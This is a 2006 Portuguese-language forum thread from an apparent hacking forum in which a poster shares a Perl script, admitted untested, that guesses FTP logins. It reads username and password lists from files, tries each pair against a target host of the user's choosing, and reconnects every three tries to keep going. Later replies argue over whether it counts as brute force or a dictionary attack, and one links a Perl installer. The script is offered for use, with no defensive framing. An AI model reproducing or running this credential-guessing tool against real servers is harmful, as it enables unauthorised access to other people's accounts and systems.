FORUM DARKERS

Tecnologia & Informática => Programação => Perl => Topic started by: Anonymous on 05 de February , 2006, 02:47:03 PM

Title: Um simples Brute Forcer em Perl
Post by: Anonymous on 05 de February , 2006, 02:47:03 PM
Não testei pra vê se está funcionando, mas pra quem quiser testar está aew o código:

#!/usr/bin/perl -w
use strict;
use Net::FTP;

print "Please enter a file name for usernames: ";
chomp(my $user_file =<STDIN>);
open(USERS,"< $user_file") or die "Could not open $user_file: $!";
chomp(my @usernames = <USERS>);

print "Please enter a file name for passwords: ";
chomp(my $password_file = <STDIN>);
open(PASS,"< $password_file") or die "Could not open $password_file: $!";
chomp(my @passwords = <PASS>);

print "Please enter the target ftp site: ";
chomp(my $target_url = <STDIN>);


 my $ftp = Net::FTP->new("$target_url", Debug => 0, Passive=>0)
      or die "Cannot connect to some.host.name: $@";

my $times_connected = 0;

foreach(sort @usernames){


foreach my $pass (sort @passwords){
       
       
       
     if ($times_connected == 3)
     {
      $ftp->quit();
     
         $ftp = Net::FTP->new("$target_url", Debug => 0)
         or die "Cannot connect to $target_url: $@";
      $times_connected = 0;
     
     }               

if ($ftp->login($_,$pass)){
print "The user/password is " . $_ . "/". $pass ."\n";
$ftp->quit();
exit;
}
 
 
   print  $ftp->message;
     $times_connected++;
       }

  next;
 
    }
Autor: hangmansjoke
Title: Re: Um simples Brute Forcer em Perl
Post by: Cloudy on 05 de February , 2006, 05:50:33 PM
Me corrijam se estiver errado, mas ele não faz o Brute Force própriamente dito né? Ele faz um ataque por dicionário...

...by Cloudy
Title: Re: Um simples Brute Forcer em Perl
Post by: Anonymous on 05 de February , 2006, 05:53:54 PM
Não é por dicionário não, é por brute-force sim, pelo menos é isso que o meu pouco conhecimento de perl me diz, mas tenho quase certeza que é um brute-forcer sim senhor ;)
Title: Re: Um simples Brute Forcer em Perl
Post by: Anonymous on 05 de February , 2006, 05:54:44 PM
Muito bom o Topico, acho que deveria mudar a fonte da letra ta complicado para ler !
Quem quiser baixar o Compilador do Perl para Windows o link é http://www.unb.br/ib/cel/download/Activ ... thread.msi (http://www.unb.br/ib/cel/download/ActivePerl-5.6.1.629-MSWin32-x86-multi-thread.msi)
Title: Re: Um simples Brute Forcer em Perl
Post by: Wuefez on 27 de September , 2006, 04:25:02 AM
Quote from: "Cloudy"Me corrijam se estiver errado, mas ele não faz o Brute Force própriamente dito né? Ele faz um ataque por dicionário...

...by Cloudy


Sim você esta errado lol, isso é sim um brute forcer você da a localização da lista de palavras que você quer que ele tente usar como senha, e ele tenta, se isso não faz dele um brute forcer, não sei mais de nada...

[]s